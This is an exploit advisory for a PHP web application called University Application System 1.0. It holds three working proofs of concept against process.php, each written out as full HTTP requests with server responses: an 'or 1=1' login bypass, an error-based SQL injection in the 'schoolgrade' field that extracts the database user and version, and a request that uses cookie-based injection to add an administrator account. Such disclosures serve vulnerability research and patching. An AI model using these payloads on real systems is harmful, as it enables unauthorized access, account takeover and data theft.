University Application System 1.0 – SQL Injection / Cross-Site Request Forgery (Add Admin)
# Exploit Title: University Application System 1.0 - SQL Injection / Cross-Site Request Forgery (Add Admin) # Dork: N/A # Date: 2018-10-30 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://www.sourcecodester.com/users/pamzey # Software Link: https://www.sourcecodester.com/sites/default/files/download/Patrick%20Mvuma/unima.zip # Version: 1.0 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 1) # http://localhost/[PATH]/process.php # #[PATH]/process.php #.... #1001 if(isset($_POST['addmember'])) #1002 { #1003 if($_POST['memail']!=''&&$_POST['mfname']!=''&&$_POST['msname']!=''&&$_POST['mpassword']!=''&&$_POST['mpasswords']!='') #1004 { #1005 #1006 $mfname = mysqli_real_escape_string($db,$_POST['mfname']); #1007 $msname = mysqli_real_escape_string($db,$_POST['msname']); #1008 $memail=mysqli_real_escape_string($db,$_POST['memail']); #1009 $mphone =mysqli_real_escape_string($db,$_POST['mphone']); #1010 $rpassword = mysqli_real_escape_string($db,$_POST['mpasswords']); #1011 $mpassword = mysqli_real_escape_string($db,$_POST['mpassword']); #.... POST /[PATH]/process.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: pin=%27or+1%3D1+or+%27%27%3D%27; serial=%27or+1%3D1+or+%27%27%3D%27; PHPSESSID=upb6pa4qn0h16clnht4ugvhee1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 87 mfname=efe&msname=efe&memail=efe@omerefe.com&mpassword=efe&mpasswords=efe&addmember=ghj HTTP/1.1 302 Found Date: Mon, 29 Oct 2018 18:44:36 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: addadmin.php Content-Length: 127 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # POC: # 2) # http://localhost/[PATH]/process.php # #[PATH]/process.php #.... #973 if(isset($_POST['schoolgrade'])){ #974 #975 //$adname=$_POST['']; #976 $adname =$_POST["schoolgrade"]; #.... POST /[PATH]/process.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: pin=%27or+1%3D1+or+%27%27%3D%27; serial=%27or+1%3D1+or+%27%27%3D%27; PHPSESSID=upb6pa4qn0h16clnht4ugvhee1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 236 schoolgrade='||(SeleCT 'Efe' FroM duAL WheRE 110=110 AnD (seLEcT 112 frOM(SElecT CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct (ELT(112=112,1))),FLooR(RAnd(0)*2))x FROM INFOrmatION_SchEMA.PluGINS grOUp BY x)a))||' HTTP/1.1 200 OK Date: Mon, 29 Oct 2018 18:51:22 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 421 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # POC: # 3) # http://localhost/[PATH]/process.php # #[PATH]/process.php #.... #516 if(isset($_POST['usernames'])&&$_POST['password']) { #517 #518 $usernames=$_POST['usernames']; #519 $password=$_POST['password']; #.... POST /[PATH]/process.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=upb6pa4qn0h16clnht4ugvhee1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 51 usernames='or 1=1 or ''='&password='or 1=1 or ''=' HTTP/1.1 200 OK Date: Mon, 29 Oct 2018 18:04:45 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: pin=%27or+1%3D1+or+%27%27%3D%27; expires=Mon, 05-Nov-2018 18:04:45 GMT; Max-Age=604800 Set-Cookie: serial=%27or+1%3D1+or+%27%27%3D%27; expires=Mon, 05-Nov-2018 18:04:45 GMT; Max-Age=604800 Content-Length: 247 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 |